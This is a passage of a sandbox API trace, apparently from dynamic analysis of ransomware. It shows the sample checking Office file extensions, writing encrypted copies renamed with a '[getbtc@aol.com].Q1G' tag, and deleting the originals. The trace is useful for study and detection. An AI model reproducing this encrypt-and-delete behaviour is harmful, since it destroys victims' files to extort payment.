-1 [0248.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.687] lstrlenW (lpString=".dbf") returned 4 [0248.687] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.687] lstrlenW (lpString=".1cd") returned 4 [0248.687] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.687] lstrlenW (lpString=".jpg") returned 4 [0248.687] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.687] lstrlenW (lpString=".doc") returned 4 [0248.687] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.687] lstrlenW (lpString=".docx") returned 5 [0248.687] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0248.687] lstrlenW (lpString=".pdf") returned 4 [0248.687] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.687] lstrlenW (lpString=".xls") returned 4 [0248.687] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.687] lstrlenW (lpString=".xlsx") returned 5 [0248.687] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0248.687] lstrlenW (lpString=".ppt") returned 4 [0248.687] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.687] lstrlenW (lpString=".zip") returned 4 [0248.687] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.687] lstrlenW (lpString=".rar") returned 4 [0248.687] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.687] lstrlenW (lpString=".bz2") returned 4 [0248.687] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.688] lstrlenW (lpString=".7z") returned 3 [0248.688] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.688] lstrlenW (lpString=".dbf") returned 4 [0248.688] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.688] lstrlenW (lpString=".1cd") returned 4 [0248.688] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.688] lstrlenW (lpString=".jpg") returned 4 [0248.688] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.688] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0248.688] lstrlenW (lpString="GROOVE.HXS") returned 10 [0248.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.689] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2278416) returned 1 [0248.689] CloseHandle (hObject=0x200) returned 1 [0248.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs")) returned 0x20 [0248.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0248.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.689] lstrlenW (lpString=".doc") returned 4 [0248.689] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0248.689] lstrlenW (lpString=".docx") returned 5 [0248.690] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0248.690] lstrlenW (lpString=".pdf") returned 4 [0248.690] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0248.690] lstrlenW (lpString=".xls") returned 4 [0248.690] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0248.690] lstrlenW (lpString=".xlsx") returned 5 [0248.690] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0248.690] lstrlenW (lpString=".ppt") returned 4 [0248.690] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0248.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.690] lstrlenW (lpString=".zip") returned 4 [0248.690] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0248.690] lstrlenW (lpString=".rar") returned 4 [0248.690] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0248.690] lstrlenW (lpString=".bz2") returned 4 [0248.690] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0248.690] lstrlenW (lpString=".7z") returned 3 [0248.690] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0248.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.690] lstrlenW (lpString=".dbf") returned 4 [0248.690] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0248.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.690] lstrlenW (lpString=".1cd") returned 4 [0248.690] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0248.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.690] lstrlenW (lpString=".jpg") returned 4 [0248.690] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0248.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.690] lstrlenW (lpString=".doc") returned 4 [0248.690] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0248.690] lstrlenW (lpString=".docx") returned 5 [0248.690] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0248.690] lstrlenW (lpString=".pdf") returned 4 [0248.690] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0248.690] lstrlenW (lpString=".xls") returned 4 [0248.691] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0248.691] lstrlenW (lpString=".xlsx") returned 5 [0248.691] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0248.691] lstrlenW (lpString=".ppt") returned 4 [0248.691] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0248.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.691] lstrlenW (lpString=".zip") returned 4 [0248.691] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0248.691] lstrlenW (lpString=".rar") returned 4 [0248.691] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0248.691] lstrlenW (lpString=".bz2") returned 4 [0248.691] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0248.691] lstrlenW (lpString=".7z") returned 3 [0248.691] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0248.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.691] lstrlenW (lpString=".dbf") returned 4 [0248.691] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0248.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.691] lstrlenW (lpString=".1cd") returned 4 [0248.691] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0248.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0248.691] lstrlenW (lpString=".jpg") returned 4 [0248.691] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0248.691] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0248.691] lstrlenW (lpString="GrooveIntlResource.dll") returned 22 [0248.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.692] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=8794976) returned 1 [0248.692] CloseHandle (hObject=0x200) returned 1 [0248.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll")) returned 0x20 [0248.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0248.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.692] lstrlenW (lpString=".doc") returned 4 [0248.692] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0248.692] lstrlenW (lpString=".docx") returned 5 [0248.692] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0248.692] lstrlenW (lpString=".pdf") returned 4 [0248.692] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0248.692] lstrlenW (lpString=".xls") returned 4 [0248.692] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0248.692] lstrlenW (lpString=".xlsx") returned 5 [0248.692] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0248.692] lstrlenW (lpString=".ppt") returned 4 [0248.692] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0248.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.692] lstrlenW (lpString=".zip") returned 4 [0248.693] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString=".rar") returned 4 [0248.693] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString=".bz2") returned 4 [0248.693] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0248.693] lstrlenW (lpString=".7z") returned 3 [0248.693] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0248.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.693] lstrlenW (lpString=".dbf") returned 4 [0248.693] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0248.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.693] lstrlenW (lpString=".1cd") returned 4 [0248.693] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0248.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.693] lstrlenW (lpString=".jpg") returned 4 [0248.693] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.693] lstrlenW (lpString=".doc") returned 4 [0248.693] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString=".docx") returned 5 [0248.693] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0248.693] lstrlenW (lpString=".pdf") returned 4 [0248.693] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString=".xls") returned 4 [0248.693] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString=".xlsx") returned 5 [0248.693] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0248.693] lstrlenW (lpString=".ppt") returned 4 [0248.693] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.693] lstrlenW (lpString=".zip") returned 4 [0248.693] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString=".rar") returned 4 [0248.693] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0248.693] lstrlenW (lpString=".bz2") returned 4 [0248.694] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0248.694] lstrlenW (lpString=".7z") returned 3 [0248.694] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0248.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.694] lstrlenW (lpString=".dbf") returned 4 [0248.694] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0248.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.694] lstrlenW (lpString=".1cd") returned 4 [0248.694] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0248.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0248.694] lstrlenW (lpString=".jpg") returned 4 [0248.694] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0248.694] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0248.694] lstrlenW (lpString="GROOVE_COL.HXC") returned 14 [0248.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.695] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=626) returned 1 [0248.695] CloseHandle (hObject=0x200) returned 1 [0248.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 0x20 [0248.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.695] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.696] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.696] GetLastError () returned 0x0 [0248.696] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x272, lpOverlapped=0x0) returned 1 [0248.909] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x280, lpOverlapped=0x0) returned 1 [0248.910] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.910] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0248.910] SetEndOfFile (hFile=0x398) returned 1 [0248.910] CloseHandle (hObject=0x398) returned 1 [0248.910] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.910] SetEndOfFile (hFile=0x200) returned 1 [0248.918] CloseHandle (hObject=0x200) returned 1 [0248.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 1 [0248.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.929] lstrlenW (lpString=".doc") returned 4 [0248.929] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0248.929] lstrlenW (lpString=".docx") returned 5 [0248.929] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0248.929] lstrlenW (lpString=".pdf") returned 4 [0248.929] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0248.929] lstrlenW (lpString=".xls") returned 4 [0248.929] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0248.929] lstrlenW (lpString=".xlsx") returned 5 [0248.929] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0248.929] lstrlenW (lpString=".ppt") returned 4 [0248.929] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0248.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.929] lstrlenW (lpString=".zip") returned 4 [0248.929] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0248.929] lstrlenW (lpString=".rar") returned 4 [0248.930] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0248.930] lstrlenW (lpString=".bz2") returned 4 [0248.930] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0248.930] lstrlenW (lpString=".7z") returned 3 [0248.930] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0248.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.930] lstrlenW (lpString=".dbf") returned 4 [0248.930] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0248.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.930] lstrlenW (lpString=".1cd") returned 4 [0248.930] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0248.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.930] lstrlenW (lpString=".jpg") returned 4 [0248.930] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0248.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.930] lstrlenW (lpString=".doc") returned 4 [0248.930] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0248.930] lstrlenW (lpString=".docx") returned 5 [0248.930] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0248.930] lstrlenW (lpString=".pdf") returned 4 [0248.930] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0248.930] lstrlenW (lpString=".xls") returned 4 [0248.930] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0248.930] lstrlenW (lpString=".xlsx") returned 5 [0248.930] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0248.930] lstrlenW (lpString=".ppt") returned 4 [0248.930] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0248.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.930] lstrlenW (lpString=".zip") returned 4 [0248.930] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0248.930] lstrlenW (lpString=".rar") returned 4 [0248.930] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0248.930] lstrlenW (lpString=".bz2") returned 4 [0248.930] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0248.930] lstrlenW (lpString=".7z") returned 3 [0248.930] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0248.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.930] lstrlenW (lpString=".dbf") returned 4 [0248.931] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0248.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.931] lstrlenW (lpString=".1cd") returned 4 [0248.931] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0248.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0248.931] lstrlenW (lpString=".jpg") returned 4 [0248.931] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0248.931] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0248.931] lstrlenW (lpString="INFINTL.DLL") returned 11 [0248.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.945] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=481168) returned 1 [0248.945] CloseHandle (hObject=0x3bc) returned 1 [0248.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll")) returned 0x20 [0248.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.946] lstrlenW (lpString=".doc") returned 4 [0248.946] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.946] lstrlenW (lpString=".docx") returned 5 [0248.946] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0248.946] lstrlenW (lpString=".pdf") returned 4 [0248.947] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.947] lstrlenW (lpString=".xls") returned 4 [0248.947] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.947] lstrlenW (lpString=".xlsx") returned 5 [0248.947] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0248.970] lstrlenW (lpString=".ppt") returned 4 [0248.970] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.970] lstrlenW (lpString=".zip") returned 4 [0248.970] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.970] lstrlenW (lpString=".rar") returned 4 [0248.970] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.970] lstrlenW (lpString=".bz2") returned 4 [0248.970] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.970] lstrlenW (lpString=".7z") returned 3 [0248.970] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.970] lstrlenW (lpString=".dbf") returned 4 [0248.970] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.970] lstrlenW (lpString=".1cd") returned 4 [0248.970] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0248.970] lstrlenW (lpString=".jpg") returned 4 [0248.970] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 